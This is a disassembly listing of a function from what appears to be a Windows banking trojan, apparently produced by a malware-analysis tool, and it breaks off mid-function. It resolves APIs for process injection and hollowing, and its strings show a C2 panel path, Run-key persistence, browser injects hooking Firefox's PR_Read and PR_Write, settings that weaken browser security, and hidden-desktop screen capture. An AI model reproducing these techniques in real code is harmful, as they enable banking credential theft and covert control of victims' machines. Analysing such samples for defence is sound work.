Function at 0x4010dc
Capabilities:
Allocate or change rwx memory
Compress data via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
push 9
push str.127.0.0.1
call fcn.004010d0
and dword [0x42c154], 0
push 0x11
push str._panel_client.php
mov dword [0x42c150], eax
call fcn.004010d0
push 0xa
pop ebx
push ebx
push str.User32.dll
mov dword [0x42c14c], eax
call fcn.004010d0
push 0xc
push str.Kernel32.dll
mov dword [0x42c350], eax
call fcn.004010d0
push 0xe
pop esi
push esi
push str.KernelBase.dll
mov dword [0x42c354], eax
call fcn.004010d0
push ebx
push str.msvcrt.dll
mov dword [0x42c358], eax
call fcn.004010d0
push 9
push str.ntdll.dll
mov dword [0x42c35c], eax
call fcn.004010d0
push 0xb
pop edi
push edi
push str.Shlwapi.dll
mov dword [0x42c360], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c364], eax
push edi
push str.Shell32.dll
call fcn.004010d0
push edi
push str.Secur32.dll
mov dword [0x42c368], eax
call fcn.004010d0
push 0xc
push str.Advapi32.dll
mov dword [0x42c36c], eax
call fcn.004010d0
push ebx
push str.ws2_32.dll
mov dword [0x42c370], eax
call fcn.004010d0
push edi
push str.version.dll
mov dword [0x42c374], eax
call fcn.004010d0
push 9
push str.Psapi.dll
mov dword [0x42c378], eax
call fcn.004010d0
push edi
push str.wininet.dll
mov dword [0x42c37c], eax
call fcn.004010d0
push 9
push str.gdi32.dll
mov dword [0x42c380], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c384], eax
push edi
push str.MessageBoxA
call fcn.004010d0
mov dword [0x42c39c], eax
push 0x14
push str.GetWindowsDirectoryA
call fcn.004010d0
push 0x13
push 0x4202f8
mov dword [0x42c3a0], eax
call fcn.004010d0
push ebx
push str.LocalAlloc
mov dword [0x42c398], eax
call fcn.004010d0
push 9
push str.wsprintfA
mov dword [0x42c3a4], eax
call fcn.004010d0
push 0x13
push 0x420324
mov dword [0x42c3a8], eax
call fcn.004010d0
push 4
push str.free
mov dword [0x42c3ac], eax
call fcn.004010d0
push esi
push str.VirtualAllocEx
mov dword [0x42c3b4], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c3b8], eax
push 0x12
pop edi
push edi
push str.WriteProcessMemory
call fcn.004010d0
push edi
push str.CreateRemoteThread
mov dword [0x42c3bc], eax
call fcn.004010d0
push 0xc
push 0x420380
mov dword [0x42c3c0], eax
call fcn.004010d0
push esi
push 0x420390
mov dword [0x42c3c4], eax
call fcn.004010d0
push 0x13
push str.PathRemoveFileSpecA
mov dword [0x42c3c8], eax
call fcn.004010d0
push edi
push str.GetModuleFileNameA
mov dword [0x42c3cc], eax
call fcn.004010d0
push 0x11
push str.PathFindFileNameA
mov dword [0x42c3d0], eax
call fcn.004010d0
push 7
pop ebx
push ebx
push str.strncmp
mov dword [0x42c3d4], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c3d8], eax
push 9
push str._strnicmp
call fcn.004010d0
push 8
push str.lstrlenA
mov dword [0x42c3dc], eax
call fcn.004010d0
push 0xb
push 0x4203fc
mov dword [0x42c3e0], eax
call fcn.004010d0
push 0x10
push str.SHGetFolderPathA
mov dword [0x42c3e4], eax
call fcn.004010d0
mov dword [0x42c3e8], eax
push 8
push str.lstrcpyA
call fcn.004010d0
push 8
push 0x420428
mov dword [0x42c3ec], eax
call fcn.004010d0
push 9
push str.CopyFileA
mov dword [0x42c3f0], eax
call fcn.004010d0
push 0x15
push str.GetVolumeInformationA
mov dword [0x42c3f4], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c3f8], eax
push esi
push str.GetUserNameExA
call fcn.004010d0
push edi
push str.LookupAccountNameA
mov dword [0x42c3fc], eax
call fcn.004010d0
push 0x16
push str.ConvertSidToStringSidA
mov dword [0x42c400], eax
call fcn.004010d0
push 9
push str.LocalFree
mov dword [0x42c404], eax
call fcn.004010d0
push 6
push str.malloc
mov dword [0x42c408], eax
call fcn.004010d0
push 9
push str.lstrcmpiA
mov dword [0x42c3b0], eax
call fcn.004010d0
push 8
push str.lstrcmpA
mov dword [0x42c410], eax
call fcn.004010d0
push ebx
push str.StrStrA
mov dword [0x42c414], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c418], eax
push 8
push str.StrStrIA
call fcn.004010d0
push 6
push str.strtol
mov dword [0x42c41c], eax
call fcn.004010d0
push ebx
push str.realloc
mov dword [0x42c420], eax
call fcn.004010d0
push 0xa
push str.WSAStartup
mov dword [0x42c424], eax
call fcn.004010d0
push 6
push str.socket
mov dword [0x42c428], eax
call fcn.004010d0
push 0xd
push str.gethostbyname
mov dword [0x42c42c], eax
call fcn.004010d0
push 5
push str.htons
mov dword [0x42c430], eax
call fcn.004010d0
push ebx
push str.connect
mov dword [0x42c434], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c438], eax
push 4
push str.send
call fcn.004010d0
push 4
push str.recv
mov dword [0x42c43c], eax
call fcn.004010d0
push 0xb
push str.closesocket
mov dword [0x42c440], eax
call fcn.004010d0
push 0xa
push str.WSACleanup
mov dword [0x42c444], eax
call fcn.004010d0
push 6
push str.memset
mov dword [0x42c448], eax
call fcn.004010d0
push 6
push str.memcpy
mov dword [0x42c44c], eax
call fcn.004010d0
push 5
push 0x420548
mov dword [0x42c40c], eax
call fcn.004010d0
push 9
push str.NtOpenKey
mov dword [0x42c450], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c454], eax
push 0xd
push str.NtSetValueKey
call fcn.004010d0
push 0xb
push 0x42056c
mov dword [0x42c45c], eax
call fcn.004010d0
push esi
push str.CreateProcessA
mov dword [0x42c458], eax
call fcn.004010d0
push 0x10
push str.NtCreateThreadEx
mov dword [0x42c460], eax
call fcn.004010d0
push 0x10
push 0x42059c
mov dword [0x42c52c], eax
call fcn.004010d0
push 0xb
push str.FindWindowA
mov dword [0x42c530], eax
call fcn.004010d0
push 0x14
push str.NtUnmapViewOfSection
mov dword [0x42c534], eax
call fcn.004010d0
push 0x19
push str.NtQueryInformationProcess
mov dword [0x42c5f4], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c5f8], eax
push 0x10
push str.GetThreadContext
call fcn.004010d0
push 0x10
push str.SetThreadContext
mov dword [0x42c5fc], eax
call fcn.004010d0
push 0x10
push str.SHFileOperationA
mov dword [0x42c600], eax
call fcn.004010d0
mov dword [0x42c604], eax
push esi
push str.FindFirstFileA
call fcn.004010d0
push 0xd
push str.FindNextFileA
mov dword [0x42c608], eax
call fcn.004010d0
push 0x18
push str.GetWindowThreadProcessId
mov dword [0x42c60c], eax
call fcn.004010d0
push 0x19
push str.InitializeCriticalSection
mov dword [0x42c538], eax
call fcn.004010d0
push 0xc
push 0x420684
mov dword [0x42c46c], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c470], eax
push 0x14
push 0x420694
call fcn.004010d0
push 0x14
push 0x4206ac
mov dword [0x42c464], eax
call fcn.004010d0
push 6
push str._errno
mov dword [0x42c468], eax
call fcn.004010d0
push ebx
push str.tolower
mov dword [0x42c474], eax
call fcn.004010d0
push ebx
push str.isdigit
mov dword [0x42c478], eax
call fcn.004010d0
push ebx
push str.strtoul
mov dword [0x42c47c], eax
call fcn.004010d0
push 8
push str.isxdigit
mov dword [0x42c480], eax
call fcn.004010d0
push 6
push str.strtod
mov dword [0x42c484], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c488], eax
push 0x18
push 0x4206f8
call fcn.004010d0
push esi
push 0x420714
mov dword [0x42c48c], eax
call fcn.004010d0
push 0xd
push 0x420724
mov dword [0x42c490], eax
call fcn.004010d0
push ebx
push str.StrChrA
mov dword [0x42c494], eax
call fcn.004010d0
push 9
push str.StrToIntA
mov dword [0x42c498], eax
call fcn.004010d0
push 0x10
push str.GetModuleHandleA
mov dword [0x42c49c], eax
call fcn.004010d0
push 0x17
push str.GetFileVersionInfoSizeA
mov dword [0x42c4a0], eax
call fcn.004010d0
mov dword [0x42c4a4], eax
push 0x13
pop ebx
push ebx
push str.GetFileVersionInfoA
call fcn.004010d0
add esp, 0x40
mov dword [0x42c4a8], eax
push esi
push str.VerQueryValueA
call fcn.004010d0
push 0x14
push str.GetModuleInformation
mov dword [0x42c4ac], eax
call fcn.004010d0
push 6
push str.memcmp
mov dword [0x42c4b0], eax
call fcn.004010d0
push 0x19
push str.ExpandEnvironmentStringsA
mov dword [0x42c4b4], eax
call fcn.004010d0
push 0x1e
push str.GetPrivateProfileSectionNamesA
mov dword [0x42c4b8], eax
call fcn.004010d0
push 0x18
push str.GetPrivateProfileStringA
mov dword [0x42c4bc], eax
call fcn.004010d0
push 0xb
push 0x420810
mov dword [0x42c4c0], eax
call fcn.004010d0
push 8
push 0x42081c
mov dword [0x42c4c4], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c4c8], eax
push 9
push 0x420828
call fcn.004010d0
push esi
push str.RegSetValueExA
mov dword [0x42c4cc], eax
call fcn.004010d0
push 0xd
push str.RegOpenKeyExA
mov dword [0x42c4d0], eax
call fcn.004010d0
push 0xb
push str.RegCloseKey
mov dword [0x42c4d4], eax
call fcn.004010d0
push 0xb
push 0x420860
mov dword [0x42c4d8], eax
call fcn.004010d0
push 0xc
push str.ResumeThread
mov dword [0x42c4dc], eax
call fcn.004010d0
push esi
push str.IsWow64Process
mov dword [0x42c4e0], eax
call fcn.004010d0
push ebx
push str.GetNativeSystemInfo
mov dword [0x42c4e4], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c4e8], eax
push 0xb
push 0x4208a0
call fcn.004010d0
push 0xc
push str.CreateThread
mov dword [0x42c4ec], eax
call fcn.004010d0
mov dword [0x42c4f0], eax
push 0xc
push str.GetUserNameW
call fcn.004010d0
push 0x10
push str.GetComputerNameW
mov dword [0x42c4f4], eax
call fcn.004010d0
push 0xd
push str.GetVersionExA
mov dword [0x42c4f8], eax
call fcn.004010d0
push 0x10
push str.CreateNamedPipeA
mov dword [0x42c4fc], eax
call fcn.004010d0
push 0x10
push str.ConnectNamedPipe
mov dword [0x42c500], eax
call fcn.004010d0
push ebx
push str.DisconnectNamedPipe
mov dword [0x42c504], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c508], eax
push 0x11
push str.InternetCrackUrlA
call fcn.004010d0
push 0xc
push str.GetTempPathA
mov dword [0x42c50c], eax
call fcn.004010d0
push 0x10
push str.GetTempFileNameA
mov dword [0x42c510], eax
call fcn.004010d0
push 0xd
push str.ShellExecuteA
mov dword [0x42c514], eax
call fcn.004010d0
push 0xb
push str.ioctlsocket
mov dword [0x42c518], eax
call fcn.004010d0
push 5
push str.ntohs
mov dword [0x42c51c], eax
call fcn.004010d0
push 0xc
push str.CreateMutexA
mov dword [0x42c520], eax
call fcn.004010d0
push 0xc
push str.ReleaseMutex
mov dword [0x42c524], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c528], eax
push ebx
push 0x4209a8
call fcn.004010d0
push 0xb
push str.EnumWindows
mov dword [0x42c53c], eax
call fcn.004010d0
push ebx
push 0x4209c8
mov dword [0x42c540], eax
call fcn.004010d0
push 0xb
push str.DeleteFileA
mov dword [0x42c544], eax
call fcn.004010d0
push 0xf
pop ebx
push ebx
push str.PathFileExistsA
mov dword [0x42c548], eax
call fcn.004010d0
mov dword [0x42c54c], eax
push 0x10
push str.CreateDirectoryA
call fcn.004010d0
push esi
push str.HttpQueryInfoA
mov dword [0x42c550], eax
call fcn.004010d0
push esi
push str.HttpQueryInfoW
mov dword [0x42c554], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c558], eax
push 0x11
push str.RtlCompressBuffer
call fcn.004010d0
push 0x1e
push str.RtlGetCompressionWorkSpaceSize
mov dword [0x42c55c], eax
call fcn.004010d0
push 0x10
push str.SetThreadDesktop
mov dword [0x42c560], eax
call fcn.004010d0
push esi
push str.CreateDesktopA
mov dword [0x42c564], eax
call fcn.004010d0
push 0xc
push str.OpenDesktopA
mov dword [0x42c568], eax
call fcn.004010d0
push ebx
push str.TerminateThread
mov dword [0x42c56c], eax
call fcn.004010d0
push 0xc
push str.PostMessageA
mov dword [0x42c570], eax
call fcn.004010d0
push 0xc
push str.SendMessageA
mov dword [0x42c574], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c578], eax
push 0x14
push str.ChildWindowFromPoint
call fcn.004010d0
push esi
push str.ScreenToClient
mov dword [0x42c57c], eax
call fcn.004010d0
push 0xa
push str.MoveWindow
mov dword [0x42c580], eax
call fcn.004010d0
push 0xd
push str.GetWindowRect
mov dword [0x42c584], eax
call fcn.004010d0
push 0xd
push str.GetMenuItemID
mov dword [0x42c588], eax
call fcn.004010d0
push 0x11
push str.MenuItemFromPoint
mov dword [0x42c58c], eax
call fcn.004010d0
push 0x13
push str.RealGetWindowClassA
mov dword [0x42c590], eax
call fcn.004010d0
push 8
push str.PtInRect
mov dword [0x42c594], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c598], eax
push edi
push str.GetWindowPlacement
call fcn.004010d0
push esi
push str.SetWindowLongA
mov dword [0x42c59c], eax
call fcn.004010d0
push esi
push str.GetWindowLongA
mov dword [0x42c5a0], eax
call fcn.004010d0
push ebx
push str.WindowFromPoint
mov dword [0x42c5a4], eax
call fcn.004010d0
push ebx
push str.SHAppBarMessage
mov dword [0x42c5a8], eax
call fcn.004010d0
push 0x10
push str.RegQueryValueExA
mov dword [0x42c5ac], eax
call fcn.004010d0
push 0x10
push str.GetDesktopWindow
mov dword [0x42c5b0], eax
call fcn.004010d0
push 8
push str.DeleteDC
mov dword [0x42c5b4], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c5b8], eax
push 9
push str.ReleaseDC
call fcn.004010d0
push 0xc
push str.DeleteObject
mov dword [0x42c5bc], eax
call fcn.004010d0
push 9
push str.GetDIBits
mov dword [0x42c5c0], eax
call fcn.004010d0
push 0xa
push str.StretchBlt
mov dword [0x42c5c4], eax
call fcn.004010d0
push 0x11
push str.SetStretchBltMode
mov dword [0x42c5c8], eax
call fcn.004010d0
push 0xc
push str.SelectObject
mov dword [0x42c5cc], eax
call fcn.004010d0
push edi
push str.CreateCompatibleDC
mov dword [0x42c5d0], eax
call fcn.004010d0
push 0x16
push str.CreateCompatibleBitmap
mov dword [0x42c5d4], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c5d8], eax
push 5
push str.GetDC
call fcn.004010d0
push ebx
push str.IsWindowVisible
mov dword [0x42c5dc], eax
call fcn.004010d0
push 9
push 0x420c70
mov dword [0x42c5e0], eax
call fcn.004010d0
push 0xb
push str.PrintWindow
mov dword [0x42c5e4], eax
call fcn.004010d0
push 0xc
mov dword [0x42c5ec], eax
push 0x420c88
call fcn.004010d0
push 0x11
push str.RtlInitAnsiString
mov dword [0x42c5f0], eax
call fcn.004010d0
push 0x1c
push str.RtlAnsiStringToUnicodeString
mov dword [0x42c610], eax
call fcn.004010d0
push 0xa
push str.LdrLoadDll
mov dword [0x42c614], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c618], eax
push 0x16
push str.LdrGetProcedureAddress
call fcn.004010d0
push 0x14
push str.RtlFreeUnicodeString
mov dword [0x42c61c], eax
call fcn.004010d0
push 0x13
push str.RtlCreateUserThread
mov dword [0x42c620], eax
call fcn.004010d0
push 0xb
push str.Hello_World
mov dword [0x42c624], eax
call fcn.004010d0
push 4
push str..exe
mov dword [0x42c628], eax
call fcn.004010d0
push 1
push 0x420d30
mov dword [0x42c62c], eax
call fcn.004010d0
push 5
push 0x420d34
mov dword [0x42c630], eax
call fcn.004010d0
push 4
push str.GET
mov dword [0x42c634], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c638], eax
push 0xb
push str._HTTP_1.1_r_n
call fcn.004010d0
push 6
push str.Host:
mov dword [0x42c63c], eax
call fcn.004010d0
push 0x40
push str._r_nPragma:_no_cache_r_nContent_type:_text_html_r_nConnection:_close_r_n
mov dword [0x42c640], eax
call fcn.004010d0
push 0x10
push str.Content_Length:
mov dword [0x42c644], eax
call fcn.004010d0
push ebx
push str.HTTP_1.1_200_OK
mov dword [0x42c648], eax
call fcn.004010d0
push 2
push 0x420dc0
mov dword [0x42c64c], eax
call fcn.004010d0
push esi
push str.Content_Length
mov dword [0x42c650], eax
call fcn.004010d0
mov ebx, eax
push 0x11
push str.Transfer_Encoding
mov dword [0x42c654], ebx
call fcn.004010d0
add esp, 0x40
push 7
pop esi
mov edi, eax
push esi
push str.chunked
mov dword [0x42c658], edi
call fcn.004010d0
push 2
push 0x420df0
mov dword [0x42c65c], eax
call fcn.004010d0
push 2
push 0x420df4
mov dword [0x42c660], eax
call fcn.004010d0
push 0x14
push str.RegistryUser_s_s
mov dword [0x42c664], eax
call fcn.004010d0
push 0x2d
push str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [0x42c668], eax
call fcn.004010d0
push 0xb
push str.dllhost.exe
mov dword [0x42c66c], eax
call fcn.004010d0
push 4
push str.ping
mov dword [0x42c670], eax
call fcn.004010d0
push 9
push str.binint32
mov dword [0x42c674], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c678], eax
push 9
push str.binint64
call fcn.004010d0
push 0xc
push str.explorer.exe
mov dword [0x42c67c], eax
call fcn.004010d0
push 0xb
push str.firefox.exe
mov dword [0x42c680], eax
call fcn.004010d0
push 0xa
push str.chrome.exe
mov dword [0x42c684], eax
call fcn.004010d0
push 0xc
push str.iexplore.exe
mov dword [0x42c688], eax
call fcn.004010d0
push 0x88
push str.powershell__noexit__command___console_::windowwidth__100__console_::windowheight__30___console_::bufferwidth___console_::windowwidth_
mov dword [0x42c694], eax
call fcn.004010d0
push 0xa
push str.msedge.exe
mov dword [0x42c698], eax
call fcn.004010d0
push 9
push str.brave.exe
mov dword [0x42c68c], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c690], eax
push esi
push str.injects
call fcn.004010d0
push esi
push str.Firefox
mov dword [0x42c69c], eax
call fcn.004010d0
push 6
push str.Chrome
mov dword [0x42c6a4], eax
call fcn.004010d0
push 0x11
push str.Internet_Explorer
mov dword [0x42c6a0], eax
call fcn.004010d0
push 0xa
push str.chrome.dll
mov dword [0x42c6a8], eax
call fcn.004010d0
push 6
push str.BitBlt
mov dword [0x42c6ac], eax
call fcn.004010d0
push 8
push str.nss3.dll
mov dword [0x42c5e8], eax
call fcn.004010d0
push 9
push str.nspr4.dll
mov dword [0x42c6b0], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c6b4], eax
push esi
push str.PR_Read
call fcn.004010d0
push 8
push str.PR_Write
mov dword [0x42c6b8], eax
call fcn.004010d0
push 6
push 0x420fb8
mov dword [0x42c6bc], eax
call fcn.004010d0
push 0x12
push str._r_nContent_Length:
mov dword [0x42c6c0], eax
call fcn.004010d0
mov esi, eax
push 0xf
push str.Accept_Encoding
mov dword [0x42c6c4], esi
call fcn.004010d0
push 8
push str.identity
mov dword [0x42c6c8], eax
call fcn.004010d0
push 0xa
push str.Connection
mov dword [0x42c6cc], eax
mov dword [0x42c6d0], ebx
mov dword [0x42c6d4], edi
call fcn.004010d0
push 5
push str.close
mov dword [0x42c6d8], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c6dc], eax
push 0x10
pop ebx
push ebx
push str._r_nContent_Type:
call fcn.004010d0
push 9
pop edi
push edi
push str.text_html
mov dword [0x42c6e0], eax
call fcn.004010d0
push 0xc
push str._r_nLocation:
mov dword [0x42c6e4], eax
call fcn.004010d0
push 0x17
push str.X_HeyThere:_5eYEp80n3hM
mov dword [0x42c6e8], eax
mov dword [0x42c6ec], esi
call fcn.004010d0
push 4
mov dword [0x42c6f0], eax
pop esi
push esi
push str._r_n_r_n
call fcn.004010d0
push edi
push str._r_n_s:__r_n
mov dword [0x42c6f4], eax
call fcn.004010d0
mov dword [0x42c6f8], eax
mov eax, dword [0x42c650]
push 8
push str._r_nHost:
mov dword [0x42c6fc], eax
call fcn.004010d0
push 0xa
push str.http_s_:__
mov dword [0x42c700], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c704], eax
push 0xd
push str.log_s_s_d
call fcn.004010d0
push esi
push str.POST
mov dword [0x42c708], eax
call fcn.004010d0
push edi
push str.__DOCTYPE
mov dword [0x42c70c], eax
call fcn.004010d0
push 0x3d
push str._script_window.location.href__window.location.href___script_
mov dword [0x42c710], eax
call fcn.004010d0
push 0x13
push str.InternetCloseHandle
mov dword [0x42c714], eax
call fcn.004010d0
push 0x1a
push str.InternetQueryDataAvailable
mov dword [0x42c718], eax
call fcn.004010d0
push ebx
push str.HttpOpenRequestW
mov dword [0x42c71c], eax
call fcn.004010d0
push ebx
push str.InternetConnectW
mov dword [0x42c720], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c724], eax
push ebx
push str.HttpSendRequestW
call fcn.004010d0
push ebx
push str.InternetReadFile
mov dword [0x42c728], eax
call fcn.004010d0
push 0x13
push str.InternetReadFileExW
mov dword [0x42c72c], eax
call fcn.004010d0
push 0x11
push str.InternetWriteFile
mov dword [0x42c730], eax
call fcn.004010d0
push edi
push str._appdata_
mov dword [0x42c734], eax
call fcn.004010d0
push 0xf
push str._s_s_s_s.ini
mov dword [0x42c738], eax
call fcn.004010d0
push 7
push str.Mozilla
mov dword [0x42c73c], eax
call fcn.004010d0
mov dword [0x42c740], eax
mov eax, dword [0x42c6a4]
push 8
push str.Profiles
mov dword [0x42c744], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c748], eax
push 7
push str.Profile
call fcn.004010d0
push esi
push 0x4211bc
mov dword [0x42c74c], eax
call fcn.004010d0
push 0x14
push str._s_s_s_s_s_s.js
mov dword [0x42c750], eax
call fcn.004010d0
push 5
push str.prefs
mov dword [0x42c754], eax
call fcn.004010d0
push 0x19
push str.network.http.spdy.enabled
mov dword [0x42c758], eax
call fcn.004010d0
push 0x1d
push str.browser.tabs.remote.autostart
mov dword [0x42c75c], eax
call fcn.004010d0
push 0x15d
push str.user_pref__network.http.spdy.enabled.v3_1___false___r_nuser_pref__network.http.spdy.enabled.v3___false___r_nuser_pref__network.http.spdy.enabled___false___r_nuser_pref__browser.tabs.remote.autostart___false___r_nuser_pref__browser.tabs.remote.autostart.2___false___r_nuser_pref__gfx.direct2d.disabled___true___r_nuser_pref__layers.acceleration.disabled___true__
mov dword [0x42c760], eax
call fcn.004010d0
push 0x29
push str.SoftwareMicrosoftInternet_ExplorerMain
mov dword [0x42c764], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c768], eax
push 0xd
push str.TabProcGrowth
call fcn.004010d0
push 0x43
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones3
mov dword [0x42c76c], eax
call fcn.004010d0
push esi
push str.2500
mov dword [0x42c770], eax
call fcn.004010d0
push 0x2e
push str.___disable_http2___use_spdyoff___disable_quic
mov dword [0x42c774], eax
call fcn.004010d0
push 0x16
push str.CreateProcessInternalW
mov dword [0x42c778], eax
call fcn.004010d0
push 0x15
push str.NoProtectedModeBanner
mov dword [0x42c77c], eax
call fcn.004010d0
push 6
push str.32768
mov dword [0x42c780], eax
call fcn.004010d0
push 0x1d
push str._rundll32.exe_shell32.dll_61
mov dword [0x42c79c], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c7a0], eax
push 0x3b
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
call fcn.004010d0
push ebx
push str.TaskbarGlomLevel
mov dword [0x42c7a4], eax
call fcn.004010d0
mov dword [0x42c7a8], eax
push 0xc
push str.profiles.ini
call fcn.004010d0
push edi
push str._profile
mov dword [0x42c7ac], eax
call fcn.004010d0
push 0xf
push str.GoogleChrome_
mov dword [0x42c7b0], eax
call fcn.004010d0
push 0x11
push str.cmd.exe__c_start
mov dword [0x42c7b4], eax
call fcn.004010d0
push 0x65
push str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11___user_data_dir
mov dword [0x42c7b8], eax
call fcn.004010d0
push 0xa
push str.User_Data_
mov dword [0x42c7bc], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c7c0], eax
push 0x11
push str.MozillaFirefox_
call fcn.004010d0
push 0xb
push str.IsRelative
mov dword [0x42c7c4], eax
call fcn.004010d0
push 5
push str.Path
mov dword [0x42c7c8], eax
call fcn.004010d0
push 0x15
push str.__no_remote__profile
mov dword [0x42c7cc], eax
call fcn.004010d0
push 0x1c
push str.info_d_d_d_d_s_s_d_d
mov dword [0x42c7d0], eax
call fcn.004010d0
push 0xb
push str..pipe_s
mov dword [0x42c7d8], eax
call fcn.004010d0
push esi
push str.open
mov dword [0x42c7dc], eax
call fcn.004010d0
push 0x1e2
push str.As_we_walked_along_the_flatblock_marina__I_was_calm_on_the_outside__but_thinking_all_the_time._So_now_it_was_to_be_Georgie_the_general__saying_what_we_should_do_and_what_not_to_do__and_Dim_as_his_mindless_greeding_bulldog._But_suddenly_I_viddied_that_thinking_was_for_the_gloopy_ones_and_that_the_oomny_ones_use__like__inspiration_and_what_Bog_sends._For_now_it_was_lovely_music_that_came_to_my_aid._There_was_a_window_open_with_the_stereo_on_and_I_viddied_right_at_once_what_to_do.
mov dword [0x42c7e0], eax
call fcn.004010d0
add esp, 0x40
mov dword [0x42c7e4], eax
push 0xd
push str.Shell_TrayWnd
call fcn.004010d0
push 0xc
push str.verclsid.exe
mov dword [0x42c7e8], eax
call fcn.004010d0
push 2
push 0x421814
mov dword [0x42c7ec], eax
call fcn.004010d0
push 2
push 0x421818
mov dword [0x42c7f0], eax
call fcn.004010d0
push edi
push str.child.dll
mov dword [0x42c7f4], eax
call fcn.004010d0
push ebx
push str.:Zone.Identifier
mov dword [0x42c7f8], eax
call fcn.004010d0
mov dword [0x42c7fc], eax
push 8
push str.Trusteer
call fcn.004010d0
add esp, 0x38
mov dword [0x42c800], eax
push dword [0x42c3c4]
push dword [0x42c354]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push dword [0x42c350]
mov dword [0x42bf00], eax
call eax
push dword [0x42c354]
mov dword [ebp - 0xc], eax
call dword [0x42bf00]
push dword [0x42c35c]
mov dword [ebp - 4], eax
call dword [0x42bf00]
push dword [0x42c360]
mov dword [ebp - 0x1c], eax
call dword [0x42bf00]
push dword [0x42c364]
mov dword [ebp - 0x10], eax
call dword [0x42bf00]
push dword [0x42c368]
mov dword [ebp - 8], eax
call dword [0x42bf00]
push dword [0x42c36c]
mov dword [ebp - 0x14], eax
call dword [0x42bf00]
push dword [0x42c370]
mov edi, eax
call dword [0x42bf00]
push dword [0x42c374]
mov dword [ebp - 0x18], eax
call dword [0x42bf00]
push dword [0x42c378]
mov dword [ebp - 0x20], eax
call dword [0x42bf00]
push dword [0x42c37c]
mov ebx, eax
call dword [0x42bf00]
push dword [0x42c380]
mov dword [ebp - 0x24], eax
call dword [0x42bf00]
push dword [0x42c384]
mov dword [ebp - 0x28], eax
call dword [0x42bf00]
push dword [0x42c3c8]
mov dword [ebp - 0x2c], eax
push dword [ebp - 4]
call esi
push dword [0x42c39c]
mov esi, dword [ebp - 0xc]
push esi
mov dword [0x42bf04], eax
call eax
push dword [0x42c3a0]
mov dword [0x42bed4], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c398]
mov dword [0x42bed8], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c3a4]
mov dword [0x42bedc], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c3a8]
mov dword [0x42bee0], eax
push esi
call dword [0x42bf04]
push dword [0x42c3ac]
mov dword [0x42bee4], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c3b0]
mov dword [0x42bee8], eax
mov esi, dword [ebp - 0x1c]
push esi
call dword [0x42bf04]
push dword [0x42c3b4]
mov dword [0x42beec], eax
push esi
call dword [0x42bf04]
push dword [0x42c3b8]
mov dword [0x42bef0], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c3bc]
mov dword [0x42bef4], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c3c0]
mov dword [0x42bef8], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c3cc]
mov dword [0x42befc], eax
push dword [ebp - 8]
call dword [0x42bf04]
push dword [0x42c3d0]
mov dword [0x42bf08], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c3d4]
mov dword [0x42bf0c], eax
push dword [ebp - 8]
call dword [0x42bf04]
push dword [0x42c3d8]
mov dword [0x42bf10], eax
push esi
call dword [0x42bf04]
push dword [0x42c3dc]
mov dword [0x42bf14], eax
push esi
call dword [0x42bf04]
push dword [0x42c3e0]
mov dword [0x42bf18], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c3e4]
mov dword [0x42bf1c], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c3e8]
mov dword [0x42bf20], eax
push dword [ebp - 0x14]
call dword [0x42bf04]
push dword [0x42c3ec]
mov dword [0x42bf24], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c3f0]
mov dword [0x42bf28], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c3f4]
mov dword [0x42bf2c], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c3f8]
mov dword [0x42bf30], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c3fc]
mov dword [0x42bf34], eax
push edi
call dword [0x42bf04]
push dword [0x42c400]
mov edi, dword [ebp - 0x18]
push edi
mov dword [0x42bf38], eax
call dword [0x42bf04]
push dword [0x42c404]
